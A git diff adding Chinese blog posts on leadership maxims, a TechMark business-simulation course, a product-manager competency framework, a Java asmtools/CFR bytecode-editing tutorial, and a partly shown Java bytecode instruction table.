+我的前老板丹.伯克曾经给过我一张字条，上面写着：“不要做制造号油的生意。你或许会成为世界上最棒的号油制造商，但话说到底，全世界每年消费的号油也只有几升而已！”他这是在告诉我，不要在耗损公司和我的资源但回报甚微的项目上投资。时至今日，这张字条我仍放在办公桌里，在与迪土尼高管讨论哪些项目值得争取和该如何分配精力时，我还会把它拿出来。 + +当位于公司一、二把手的两个人关系出现了问题，两人之下的整个公司也不可能继续正常运转。这就好像是拥有对争吵不休的父母一样， 孩子们觉察到了这股剑拔弩张之气，于是把敌意反射回父母身上，而且还会互相泄愤。 + +作为管理者，如果不尽自己的职责，那么周围的人很快就会察觉到这一点，而他们对你的尊敬也便化为乌有了。你必须做到专心致志。即便遇到想要中途离场的会议，也必须坚持开完。你要倾听别人的困难，并帮助他们寻找解决方法。这些，都是一名杰出管理者的必备特质。 + +我们都愿意相信自己是不可取代的。 你要拥有足够的自知之明，不要固执认为你是唯一一个能做这份工作的人。从本质上来说，杰出领导力的重点并不在于你的不可取代，而是要帮助他人做好有天继任你的职位的准备——也就是给予他人与你一起制定决策的机会；辨识出他们需要开发的能力并帮助他们实现进步；有的时候，如果对方还没有做好迎接下一步的准备，你也要开诚布公地指出来。 + +一家公司的声誉，就是其人员行为及其产品质量的总和。你要时时刻刻要求员工坚守诚信并保证产品的质量。 + +迈克尔.艾斯纳曾说：“人们低估了微观管理的价值。”我同意他的观点，但凡事都要有度。对细节的精益求精能够体现你对事情的重视。毕竟，所谓“伟大”往往就是由一些微小细节拼凑而成的。但是微观管理也有其缺点，不仅会让对方感觉自己愚蠢无用，也会让与你共事的人觉得你对他们缺乏信任。 + +我们行动的出发点，往往会落在恐惧而非勇气上，我们固执己见地试图建起壁垒，保护在即将来临的剧变中无望存活的老旧模式。为了迎接即将来临的变化，破坏自己现有的，甚至正处于盈利状态的模式，下这样的决心，并不简单。 + +如果你终日在大厅里徘徊，逢人就说“天要塌下来啦”，那么久而久之，一股前景暗淡的阴霾便会在公司里弥漫开来。不要向周围的人传递你的悲观情绪，这会对士气带来毁灭性的打击。没有人想要成为悲观者的信众。 + +悲观主义会导致妄想偏执，进而发展为戒备多疑，再进一步则会导致对风险的全盘规避。 + +”乐观源于你对自己以及为你效力的人的信任。这并不意味着你要在事态糟糕时撒谎说一切都好，也并不意意味着要向大家传达“船到桥头自然直”的盲目信心。而是说，你要对自己和他人的能力抱有信心。 + +有的时候，人们会在第一步还没迈出之前就说服自己放弃，这也是他们怯于大胆冒险的原因。高风险事物的风险，其实往往并不像表面看起来那么高。只要有足够的精力、思考以及责任感，即便是最为大胆的想法，也能变为现实。 + +你需要清楚表达并反复强调你的优先事项。如果你无法清晰传达你的优先事项，那么身边的人们也就不清楚自己的优先事项是什么。这会造成时间、精力以及资本的浪费。 + +只要把日常生活中的臆测因素剔除，你就能有效地提升身边人(进而推广到他们身边的人)的士气。许多工作不仅错综复杂，还需要投人大量专注和精力，但这样的信息却能为人拨开迷雾：这是我们想要到达的目的地，这是通往目的地的路。 + +科技的发展终将会淘汰老旧的商业模式。你可以选择哀怨伤怀，尽一切努力维持原来的现状；或者，你也可以拿出比你的竞争者更胜一筹的高涨热情和创意，努力理解和接受新的格局。 + +过去已逝，未来才是重点。 + +当每个人都在夸赞你时，想要保持乐观是很容易的。但当你的自我认知受到挑战的时候，保持乐观就更困难，也更必要。 + +在谈判中，尊敬待人是一笔财富，而且其价值往往被人低估。一点点的尊敬，有之便能四两拨千斤，缺之却往往会造成惨重的代价。 + +”你必须做好功课和准备。举例来说，不搭建必要的模型来帮你判断某个协议是否合理，你自然不能进行重大的收购，但你也要认识到，100%的确定性是不存在的。无论你获取的数据有多少，但话说到底，风险仍然存在，是否要冒这个险，就要靠一个人的直觉判断了。 + +如果什么事情让你感觉不对， 那么这件事情可能就不适合你。 + +在并购其他公司时，很多公司都无法体会自己真正买到的是什么。他们感觉自己获得的是实体资产、工业资产或是IP (某些行业要比其他行业更甚)。但一般而言，他们真正获得的，其实是人才。在创意行业中，人才才是价值的真正所在。 + +作为一家公司的领导者，你就是公司的门面。我的意思是说：你的价值观——你的正直、 得体、诚信以及你在人前的一举一动，都是公司价值观的体现。无论你领导的机构是7个人还是25万人，这条原则同样适用：别人对你的看法，就是他们对你企业的看法。 + +这些年来，我有过不少次不得不将坏消息带给优秀人才的经历，他们中有的人是朋友，有的则没法在我为他们安排的位置上做出成绩来。我会尽可能直接地切人问题本身，清楚而简明地解释问题出在哪里，阐明我为何觉得事情不会再有起色。在解雇员工时，人们往会使用一种委婉含蓄的职场用语， 而我却直认为这种语言是不尊重人的表现。如果尊重对方，那么你就有责任把自己作出这种决定的原因解释清楚。这样的谈话不可能不伤人，但我们至少可以做到以诚相待。 + +在雇佣人才的时候，努力把自己置身于不仅擅长自己的专业，而且必须为人正派的群体之中。真正的正直，就是发自内心的公平坦诚和尊重待人，在生意场上，这种特质可谓一种非常稀缺的商品。你需要在你雇佣的人身上寻找这一特质并在为你效力的人身上培养这一特质。 + +对于任何协商而言，从一开始，你就要阐明自己的立场在哪里。对于当初描绘的图景出尔反尔，从而使信任感久久不能修复，这是任何短期利益都没法弥补的。 + +将你的焦虑投射到团队的身上，往往适得其反。表达你与团队分担压力、和大家共同奋战，与表达你需要大家拿出好的结果以减轻你的压力，这二者之间的区别虽然微妙，收效却完全不同。 + +绝大多数的协议都会牵扯到个人感情。当协商涉及对方亲手打造造的产品时，则更是如此。对于任何一次协议，你都要明确自己想要得到的是什么，但是为了达到目的，你也必须体恤对方面临着怎样的顾虑。 + +如果你的工作是打造产品，那你要做的就去创造伟大。 + +对于总体现状良好的业务进行颠覆，需要拿出不少的勇气。这意味着你要有意承担短期亏损，并寄望长期的风险终有回报的一天。常规流程和优先事项被颠覆，职位出现变化，职责也被重新分配。随着新模式的发展，传统的生意方式被一点点地边缘化和削弱，开始造成经济上的亏损。对于企业的文化和思维模式而言，这都将带来艰难的考验。在整个职业生涯中，你的员工都是按其传统业务的业绩为标准而获得薪酬的，一且下决心颠覆，就等于是在告诉他们：“不要把过多精力放在以前的业务上了，多想想新业务吧。”然而，新业务暂时还没有什么盈利，在短期内也不会有起色。想要应对这种不确定，我们就要回归基本原则：把你战略上的优先事项阐释清楚。在未知因素面前保持乐观心态。对那些职业生活被颠覆打乱的人们，要做到友善相待和公正评判。 + +在太长时间里拥有太大的权力，并不是件好事。不知不觉中你自己的声音变得越来越大，压过了屋里的其他人。在听取你的意见之前，人们往往对自己的意见缄口不提，这种情况渐渐成了常态。人们不敢将他们的想法告诉你，他们害怕持不同意见，也害怕起冲突。这些情况，即便在最有善意的领导者身上也有可能发生。你必须积极而刻意地努力，以抵制权力带来的有害影响。 + +面对工作和生活时，请保持一种发自内心的谦卑感。我所收获的成功一部分是缘于自身努力，但是外界的万千因素，许多人的努力、支持和榜样以及在我掌控之外的命运之轮，也都起到了重大的作用。 + +无论世界说你有多强大和多重要，也要牢牢坚守对自己的认知。一旦开始被这些信息冲昏了头脑，一旦看到镜中自己的额头上刻着你的头衔，你就已经迷失了方向。 diff --git a/_posts/2021-07-14-563-TheRideofaLifetime.md b/_posts/2021-07-14-563-TheRideofaLifetime.md new file mode 100644 index 0000000..8f1b755 --- /dev/null +++ b/_posts/2021-07-14-563-TheRideofaLifetime.md @@ -0,0 +1,28 @@ +--- +layout: post +title: 一生的旅程 十条领导力原则 +pid: 563 +tags: [EMBA, 企业家精神] + +--- + + +乐观。一位优秀的领导人最为重要的特质之一就是乐观，也就是对于可能获得的成就抱有符合现实的热情。即便是在困难的抉择和不甚理想的结果面前，一位乐观的领导者也不会落人消极的情绪之中。一 言以蔽之，消极主义者是无法给人们以鼓舞和动力的。 + +勇气。勇气是冒险的根基，在不断变化和不断被颠覆的产业中，冒险必不可少，创新关乎生死，而人们只有在拥有勇气时才能实现真正的创新。这不仅适用于并购、投资和资本分配，在创意决策上更是如此。对于失败的恐惧，会将创意扼杀。 + +专注。将时间、精力、资源分配在最为重要和最有价值的策略、问题以及项目上，这一点至关重要， 频繁且清晰地传达你的优先事项，这一点也极为关键。 + +果断。无论多么困难的抉择，都应该且能够及时作出。领导者需要在鼓励多样化观点和作出决断并付诸行动之间找到平衡点。长期的踟蹰不决不仅会降低效率，还会适得其反，对团队士气也会造成严重的破坏。 + +好奇。深刻而持久的好奇心能够帮助我们挖掘到新的人员、地点以及创意，也能让我们感知并理解市场及其日新月异的态势。而通往创新的道路，就始于好奇心。 + +公正。强大的领导力中包含着待人的公平公正。同情心是必不可少的，平易近人亦不可或缺。犯了无心之过的人应该得到第二次机会，而待人过于严苛会滋发生出恐惧和焦虑，进而阻塞沟通、扼杀创新。没有什么比充斥着恐惧的文化更能荼毒一家企业或机构了。 + +慎思。慎思是优秀领导力中最被人低估的一个因素。 它指的是获取知识，使得提出的观点或作出的决定更具可信度，也更趋于正确。简而言之，这个原则就是潜心花时间去孕育富有见地的观点。 + +真诚。诚恳待人，真心示人，不要做任何伪装。真相和真诚是尊重和信赖的摇篮。 + +追求极致，追求完美。这条原则并不意味着为达完美不惜一切代价，而是在告诉大家拒绝接受平庸、拒绝为某事的“ 差强人意”找借口，如果你认为能把某事做得更好，那就花精力去打磨。如果你的工作是打造产品，那你要做的，就是去创造伟大。 + +诚信。 对一家机构而言，没有什么比成员的品质和产品的质量更重要的了。无论大小，任何事务都应设立崇高的道德标准，这就是一家企业成功的基石。换一种说法， 这一原则就是：你如何做一件事，就会如何做一切事。 \ No newline at end of file diff --git a/_posts/2021-07-15-564-techmark.md b/_posts/2021-07-15-564-techmark.md new file mode 100644 index 0000000..22af344 --- /dev/null +++ b/_posts/2021-07-15-564-techmark.md @@ -0,0 +1,93 @@ +--- +layout: post +title: TechMark商战模拟 +pid: 564 +tags: [EMBA, 商战模拟] + +--- + + + +1、TechMark 课程简要介绍 + +1.1 TechMark20年历史介绍 + +管理实战课程已经在全球有20年的发展历史，已为全球各大公司的高层经理成功传授。这些公司横跨各大行业领域，包括电器行业的索尼、工业产品和消费品行业的西门子、电信行业的朗讯、金融行业的富达投资以及计算机微处理器行业的英特尔公司等。 + +管理实战课程在中国的发展开始于2001年的清华工商管理班课程。2003年成为清华EMBA开课项目，2003年成为中欧EMBA开课项目，2004年开始为中国各大企业提供培训课程，2005年成为上海交通大学EMBA开课项目。TechMark课程开始为越来越多的中国企业家所认可，在中国已经有很多大型企业参与管理实战管理课程的培训，并从中受益，包括中国移动通信、美的、太平洋保险、金利来、联合利华等。 + +1.2 TechMark的作用 + +管理实战课程是一种充分讨论各种与高层经理相关的管理概念和技巧的催化剂。在TechMark世界里，你被激励去提出问题并讨论问题，与你的团队成员去交换看法和思想，并且学会去观察对手的策略、通过设计策略进行试验。面对含糊性、不确定性和复杂性，团队成员学习通力协作，一起来分析问题、进行决策并一起承担决策所产生的后果。 + +2、TechMark世界仿真模拟管理实战 + +2.1 TechMark 仿真行业概况 + +在TechMark星球的尤菲亚国有五家公司销售电子元器件产品，那里实行自由竞争的市场经济。 + +该星球有3个国家：尤菲亚、尼赫鲁和纳达卡， + +有5个公司，每个公司都生产3中电子元件——雷墨磁1、雷墨磁2、雷墨磁3，分别销往这三个特征迥异的国家。 + +雷墨磁1用于耐用性产品中，如洗衣机或汽车等。 + +雷墨磁2用于高档电子消费品中，如音响设备等。 + +雷墨磁3用于各种低端电子产品中，如折扣店出售的扬声器等。 + +市场需求可以用两种产品特性来表达：扭矩和电阻。两个指标可以从1.0到5.0的数值来表示。 + +对于纳达卡市场而言，该市场人口众多，但是价格敏感，付款时间长，市场增长率不确定。 + +对于尤菲亚市场，这是最大最成熟的市场，注重产品质量，但是对于价格也敏感。 + +对于尼赫鲁市场而言，该市场对于产品要求高，愿意支付高价钱，但是产量需求低。 + +2.2 TechMark管理实战竞争规则 + +在TechMark星球生存的5家公司是5个起点完全相同、实力相当的公司，这五家公司将在三个不同的市场上经营同样的产品并相互竞争。每一个季度相当于一个会计期间，每个公司可以进行新一轮的产品研发、生产、定价、营销等策略。每一轮决策之后，大家会得到新的市场数据和公司单独的经营数据，供下一期决策使用。每个团队将和其他团队在全球范围内就产品设计和市场营销等多个方面展开竞争。每个用于计划和决策的标准时间单位是3个月，即一个财务季度。经过6个会计期间的竞争，最终满足多项财务指标并且股价最高的团队获胜。 + +2.3 市场机会评估以及市场风险分析 + +在TechMark世界需要完成的几大核心决策任务：产品设计、定价、生产、市场营销。 + +在进行这些6轮决策时，需要进行必不可少的市场机会评估以及市场风险分析。 市场机会评估：面临这个竞争激烈的市场，团队是否需要重新设计产品呢？ + +如果需要重新设计，那么应该如何根据变化的市场需求去寻找恰当的市场定位来机会最大化呢。在选择目标市场的时候需要着重考虑的一些核心因素包括：市场容量、定价、销售收入、毛利率、EBIT以及现金流。如果市场需要改变，我们应该决策如何改变，往哪个方向等。 + +市场风险分析：面临竞争激烈的市场，评估市场风险是至关重要的环节。愿意承担多大的风险，选择采用什么样的风险回报模式，这是在做任务决策之前团队需要确定的。例如对于尤菲亚市场而言，100个顾客样本调查的结果显示这个市场的风险较低但是回报也相对较低。然而对于尼赫鲁市场而言，100个顾客样本调查的结果显示该市场存在着较高的风险，但是回报也高。 + +2.4 TechMark 管理实战决策任务 + +在TechMark世界，5家公司的团队决策任务分为几个大的方面：产品设计、生产、定价、市场营销。 + +产品设计: 在产品设计这个环节，关注消费者需求变化是非常关键的。扭矩和电阻的参数是可控的。产品研发是否可以达到这项的参数取决于两个因素：一是所要求特性相对于现有特性的改变程度；二是研发的预算费用。只有在资金充足的情况下，使扭矩和电阻两个方面都取得预计的突破，研发项目才能成功。 + +定价：每个财务季度，团队需要为每一种产品在每一个国家确定一个价格，该价格是出售给分销商的价格，以尤菲亚元表示。在纳达卡和尼赫鲁当地分销商的成本要换算成当地的货币单位。两种因素影响价格；一是基本的价格需求理论：而是市场对价格的反应时间。 + +生产：第一个财务季度之后，团队可以自由选择到尤菲亚之外的国家生产。 + +已经签订好的四项条款包括：产品独家生产权、时间限制、诗词设备及安装费用、成本-产量表以及通货膨胀补偿。生产过程决策，需要着重注意的两个方面是成本控制和产品质量。需要考虑能否以何鲁丽的价格生产产品、市场策略是否与生产策略保持一致、产品—市场策略组合下的预计销量是否在我们的生产能力和要求范围之内、以及生产量、库存以及生产地点的确定等等。 市场营销：在营销部分的决策主要包括构建销售团队以及分配广告和通讯费用两个方面。主要的促销手段就是人员推销。销售代表的基本任务是通过电话给分销商进行促销。销售代表方面的决策收到公司审计师的限制。同时团队需要决策销售代表的时间分配，以最大化营销效果。 + +2.5 TechMark管理实战财务目标 + +6轮管理实战决策的决策效果，需要用一系列财务指标进行衡量。作为高层管理团队，将负责公司的财务管理，制定财务决策的关键在于如何尽可能降低经营风险的情况下为股东提供最大化的投资回报。 + +总资产收益率（ROA）:总资产收益率这一指标传达了董事会用公司工资产来衡量盈利水平的要求。目标：ROA>7% + +净资产收益率（ROE）：衡量的公司股东的财富来衡量的盈利水平。目标：ROE>9% + +期终资产负债比率：衡量一个财务期间之后，公司资产中负债所占有的比率。 + +目标：<25% + +期终存货资产比率：衡量在一个财务期间结束后，存货所占总资产的比率。 + +目标：>4%且<9% + +在达到以上财务指标之后，最终6个财务期间之后，公司股价最高的团队获得胜利。 + + +# 参考 ++ [TechMark管理实战模拟课程课后笔记](https://www.jianshu.com/p/38c692734359) \ No newline at end of file diff --git a/_posts/2021-08-06-565-promotion.md b/_posts/2021-08-06-565-promotion.md new file mode 100644 index 0000000..a7632fc --- /dev/null +++ b/_posts/2021-08-06-565-promotion.md @@ -0,0 +1,21 @@ +--- +layout: post +title: 什么样的员工会被提拔？ +pid: 565 +tags: [岗前培训] + +--- + +被提拔员工的背景前提：有能力、有业绩 + +第一，对公司对团队的前景始终看好，而不是遇到一点波动就撤退的人 + +第二，在业务调整、团队调整的过程中不计较个人得失，顾全大局能找到自己的位置，并始终愿意跟着团队一起成长的人 + +第三，为了团队新的目标，不断的学习新的东西，有冲劲，对新鲜事物充满好奇的人 + +总之，这类人肯定不是精致的，职场利己主义者 + +# 参考 ++ [架构师之路的视频]() + diff --git a/_posts/2021-08-06-566-abilityframework.md b/_posts/2021-08-06-566-abilityframework.md new file mode 100644 index 0000000..269d63d --- /dev/null +++ b/_posts/2021-08-06-566-abilityframework.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 产品策划职位能力框架 +pid: 566 +tags: [岗前培训] + + +--- + + + +| 能力框架 | 能力项目 | 能力定义 | | +| ---------- | -------- | -------------------------------------------------- | ------------------------------------------------------------ | +| | | | | +| 通用能力 | 1 | 学习能力(基本素质) | 通过计划、任务和资源的整合运用，顺利达成工作目标 | +| | 2 | 执行力(基本素质) | 完成预定目标及任务的能力，包含完成任务的意愿，完成任务的方式方法，完成任务的程度 | +| | 3 | 沟通能力(基本素质) | 有效传达思想、观念、信息，把握对方意图，说服别人，让他人接受自己的观点或做法 | +| | 4 | 行业融入感+主人翁精神(关键素质) | 热爱互联网行业，“把产品当作自己的孩子” | +| | 5 | 心态和情商(关键素质) | 积极主动面对困难及压力，以开放的心态迎接变化和挑战，并推动问题的最终解决 | +| 专业知识 | 6 | 技术知识(关联知识) | 了解与产品相关的技术实现原理及其表现形式，能够就技术方案与技术人员有效沟通，具备技术实现的成本观念 | +| | 7 | 项目管理(关联知识) | 通过流程规划、时程安排、任务和人员的管理以及资源的整合运用，顺利达成项目目标 | +| | 8 | 其他知识：财务、心理学、美学、办公技能等(关联知识) | 能综合考虑并有效应用相关知识为产品服务 | +| 专业技能 | 9 | 产品规划：版本计划/节奏(产品能力) | 准确把握用户需求，进行优先级排序，明确版本规划，通过迭代实现产品目标 | +| | 10 | 专业设计能力(产品能力) | 依据用户使用场景，使用相关专业领域的知识、工具和技巧，设计出满足甚至超出用户预期的功能特性 | +| | 11 | 市场分析能力/前瞻性(市场能力) | 对行业情报、竞争对手动态和用户变化进行掌握和分析，确定产品的市场地位，掌握竞争格局，预测市场变化，确定战略战术 | +| | 12 | 对外商务沟通(BD/P3以上)(市场能力) | 理解合作方的利益点及自己可提供的资源，通过一定的谈判技巧，形成共赢的成交方案 | +| | 13 | 运营数据分析(运营能力) | 通过设计数据指标体系，进行数据的收集和分析，挖掘潜在规律和问题，以优化产品和支撑决策 | +| | 14 | 市场营销：品牌/公关/推广(运营能力) | 根据目标用户、产品特点及品牌塑造需要，进行营销及公关策略的制定和执行，以实现有效传播、危机化解、产品目标达成 | +| | 15 | 渠道管理(运营能力) | 开拓和维护用户或内容的来源渠道，优化渠道结构，形成渠道合力并规避风险，建设利于产品发展的优质渠道体系 | +| | 16 | 市场/用户的调研与分析(客户导向) | 主动通过各种渠道了解用户反馈，掌握一定的调研方法论，持续优化产品 | +| 组织影响力 | 17 | 方法论建设(领导力) | 在工作中主动帮助他人提升专业能力或者提供发展机会，帮助他人的学习与进步 | +| | 18 | 知识传承(领导力) | 从工作积累中不断总结提炼，形成普遍性解决方案，起到指导及示范性作用，并加以推广应用 | +| | 19 | 人才培养(领导力) | 主动将自己所掌握的知识信息、资源信息，能通过交流、培训等形式分享，以期共同提高 | \ No newline at end of file diff --git a/_posts/2022-03-23-567-asmtools.md b/_posts/2022-03-23-567-asmtools.md new file mode 100644 index 0000000..5fe6586 --- /dev/null +++ b/_posts/2022-03-23-567-asmtools.md @@ -0,0 +1,178 @@ +--- +layout: post +title: asmtools的简单使用 +pid: 567 +tags: [java] + +--- + + + +[asmtools的下载地址](https://github.com/hengyunabc/hengyunabc.github.io/files/2188258/asmtools-7.0.zip) + + + +```java +public class Foo { + public static void main(String[] args) { + boolean flag = true; + if (flag) System.out.println("Hello, Java!"); + if (flag == true) System.out.println("Hello, JVM!"); + } +} +``` + +```shell +baoguo@MacBook-Pro demo3 % javac Foo.java +baoguo@MacBook-Pro demo3 % ls +Foo.class Foo.java +baoguo@MacBook-Pro demo3 % java Foo +Hello, Java! +Hello, JVM! +baoguo@MacBook-Pro demo3 % java -jar /Users/baoguo/Downloads/asmtools-7.0/lib/asmtools.jar jdis Foo.class > Foo.jasm +baoguo@MacBook-Pro demo3 % ls +Foo.class Foo.jasm Foo.java +baoguo@MacBook-Pro demo3 % vim Foo.jasm +``` + +```java + +super public class Foo + version 52:0 +{ + + +public Method "":"()V" + stack 1 locals 1 +{ + aload_0; + invokespecial Method java/lang/Object."":"()V"; + return; +} + +public static Method main:"([Ljava/lang/String;)V" + stack 2 locals 2 +{ + iconst_1; + istore_1; + iload_1; + ifeq L14; + getstatic Field java/lang/System.out:"Ljava/io/PrintStream;"; + ldc String "Hello, Java!"; + invokevirtual Method java/io/PrintStream.println:"(Ljava/lang/String;)V"; + L14: stack_frame_type append; + locals_map int; + iload_1; + iconst_1; + if_icmpne L27; + getstatic Field java/lang/System.out:"Ljava/io/PrintStream;"; + ldc String "Hello, JVM!"; + invokevirtual Method java/io/PrintStream.println:"(Ljava/lang/String;)V"; + L27: stack_frame_type same; + return; +} + +} // end Class Foo +~ + +``` + + + +[cfr下载地址](http://www.benf.org/other/cfr/) + +```java +baoguo@MacBook-Pro demo3 % java -jar cfr-0.152.jar Foo.class +/* + * Decompiled with CFR 0.152. + */ +public class Foo { + public static void main(String[] stringArray) { + boolean bl = true; + if (bl) { + System.out.println("Hello, Java!"); + } + if (bl) { + System.out.println("Hello, JVM!"); + } + } +} +``` + + + +使用vim将Method Main中的第一个**iconst_1**改为**iconst_2** + +```java + +super public class Foo + version 52:0 +{ + + +public Method "":"()V" + stack 1 locals 1 +{ + aload_0; + invokespecial Method java/lang/Object."":"()V"; + return; +} + +public static Method main:"([Ljava/lang/String;)V" + stack 2 locals 2 +{ + iconst_2; + istore_1; + iload_1; + ifeq L14; + getstatic Field java/lang/System.out:"Ljava/io/PrintStream;"; + ldc String "Hello, Java!"; + invokevirtual Method java/io/PrintStream.println:"(Ljava/lang/String;)V"; + L14: stack_frame_type append; + locals_map int; + iload_1; + iconst_1; + if_icmpne L27; + getstatic Field java/lang/System.out:"Ljava/io/PrintStream;"; + ldc String "Hello, JVM!"; + invokevirtual Method java/io/PrintStream.println:"(Ljava/lang/String;)V"; + L27: stack_frame_type same; + return; +} + +} // end Class Foo + +``` + +```java +baoguo@MacBook-Pro demo3 % mv Foo.class Foo.class.bak +baoguo@MacBook-Pro demo3 % ls +Foo.class.bak Foo.jasm Foo.java cfr-0.152.jar +baoguo@MacBook-Pro demo3 % java -jar /Users/baoguo/Downloads/asmtools-7.0/lib/asmtools.jar jasm Foo.jasm +baoguo@MacBook-Pro demo3 % ls +Foo.class Foo.class.bak Foo.jasm Foo.java cfr-0.152.jar +baoguo@MacBook-Pro demo3 % java Foo +Hello, Java! +baoguo@MacBook-Pro demo3 % java -jar cfr-0.152.jar Foo.class +/* + * Decompiled with CFR 0.152. + */ +public class Foo { + public static void main(String[] stringArray) { + int n = 2; + if (n != 0) { + System.out.println("Hello, Java!"); + } + if (n == 1) { + System.out.println("Hello, JVM!"); + } + } +} +``` + + + + +# 参考 + ++ [asmtools的简单使用](https://blog.csdn.net/qq_36924696/article/details/113988959) \ No newline at end of file diff --git a/_posts/2022-03-25-568-bytecodetable.md b/_posts/2022-03-25-568-bytecodetable.md new file mode 100644 index 0000000..3bf1aeb --- /dev/null +++ b/_posts/2022-03-25-568-bytecodetable.md @@ -0,0 +1,1749 @@ +--- +layout: post +title: Java字节码表 +pid: 568 +tags: [java] + +--- + +### Java指令集（按功能分类） + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

常量入栈指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

aconst_null

 +

 

 +

null值入栈。

+

iconst_m1

 +

 

 +

-1(int)值入栈。

+

iconst_0

 +

 

 +

0(int)值入栈。

+

iconst_1

 +

 

 +

1(int)值入栈。

+

iconst_2

 +

 

 +

2(int)值入栈。

+

iconst_3

 +

 

 +

3(int)值入栈。

+

iconst_4

 +

 

 +

4(int)值入栈。

+

iconst_5

 +

 

 +

5(int)值入栈。

+

lconst_0

 +

 

 +

0(long)值入栈。

+

lconst_1

 +

 

 +

1(long)值入栈。

+

fconst_0

 +

 

 +

0(float)值入栈。

+

fconst_1

 +

 

 +

1(float)值入栈。

+

fconst_2

 +

 

 +

2(float)值入栈。

+

dconst_0

 +

 

 +

0(double)值入栈。

+

dconst_1

 +

 

 +

1(double)值入栈。

+

bipush

 +

valuebyte

 +

valuebyte值带符号扩展成int值入栈。

+

sipush

 +

valuebyte1

+

valuebyte2

 +

(valuebyte1 << 8) | valuebyte2 值带符号扩展成int值入栈。

+

ldc

 +

indexbyte1

 +

常量池中的常量值（int, float, string reference, object reference）入栈。

+

ldc_w

 +

indexbyte1

+

indexbyte2

 +

常量池中常量（int, float, string reference, object reference）入栈。

+

ldc2_w

 +

indexbyte1

+

indexbyte2

 +

常量池中常量（long, double）入栈。

+

 

+

局部变量值转载到栈中指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

(wide)aload

 +

indexbyte

 +

从局部变量indexbyte中装载引用类型值入栈。

+

aload_0

 +

 

 +

从局部变量0中装载引用类型值入栈。

+

aload_1

 +

 

 +

从局部变量1中装载引用类型值入栈。

+

aload_2

 +

 

 +

从局部变量2中装载引用类型值入栈。

+

aload_3

 +

 

 +

从局部变量3中装载引用类型值入栈。

+

(wide)iload

 +

indexbyte

 +

从局部变量indexbyte中装载int类型值入栈。

+

iload_0

 +

 

 +

从局部变量0中装载int类型值入栈。

+

iload_1

 +

 

 +

从局部变量1中装载int类型值入栈。

+

iload_2

 +

 

 +

从局部变量2中装载int类型值入栈。

+

iload_3

 +

 

 +

从局部变量3中装载int类型值入栈。

+

(wide)lload

 +

indexbyte

 +

从局部变量indexbyte中装载long类型值入栈。

+

lload_0

 +

 

 +

从局部变量0中装载int类型值入栈。

+

lload_1

 +

 

 +

从局部变量1中装载int类型值入栈。

+

lload_2

 +

 

 +

从局部变量2中装载int类型值入栈。

+

lload_3

 +

 

 +

从局部变量3中装载int类型值入栈。

+

(wide)fload

 +

indexbyte

 +

从局部变量indexbyte中装载float类型值入栈。

+

fload_0

 +

 

 +

从局部变量0中装载float类型值入栈。

+

fload_1

 +

 

 +

从局部变量1中装载float类型值入栈。

+

fload_2

 +

 

 +

从局部变量2中装载float类型值入栈。

+

fload_3

 +

 

 +

从局部变量3中装载float类型值入栈。

+

(wide)dload

 +

indexbyte

 +

从局部变量indexbyte中装载double类型值入栈。

+

dload_0

 +

 

 +

从局部变量0中装载double类型值入栈。

+

dload_1

 +

 

 +

从局部变量1中装载double类型值入栈。

+

dload_2

 +

 

 +

从局部变量2中装载double类型值入栈。

+

dload_3

 +

 

 +

从局部变量3中装载double类型值入栈。

+

aaload

 +

 

 +

从引用类型数组中装载指定项的值。

+

iaload

 +

 

 +

从int类型数组中装载指定项的值。

+

laload

 +

 

 +

从long类型数组中装载指定项的值。

+

faload

 +

 

 +

从float类型数组中装载指定项的值。

+

daload

 +

 

 +

从double类型数组中装载指定项的值。

+

baload

 +

 

 +

从boolean类型数组或byte类型数组中装载指定项的值（先转换为int类型值，后压栈）。

+

caload

 +

 

 +

从char类型数组中装载指定项的值（先转换为int类型值，后压栈）。

+

saload

 +

 

 +

从short类型数组中装载指定项的值（先转换为int类型值，后压栈）。

+

 

+

将栈顶值保存到局部变量中指令

+

操作码（助记符）

 +

操作数

 +

描述（栈指操作数栈）

+

(wide)astore

 +

indexbyte

 +

将栈顶引用类型值保存到局部变量indexbyte中。

+

astroe_0

 +

 

 +

将栈顶引用类型值保存到局部变量0中。

+

astore_1

 +

 

 +

将栈顶引用类型值保存到局部变量1中。

+

astore_2

 +

 

 +

将栈顶引用类型值保存到局部变量2中。

+

astore_3

 +

 

 +

将栈顶引用类型值保存到局部变量3中。

+

(wide)istore

 +

indexbyte

 +

将栈顶int类型值保存到局部变量indexbyte中。

+

istore_0

 +

 

 +

将栈顶int类型值保存到局部变量0中。

+

istore_1

 +

 

 +

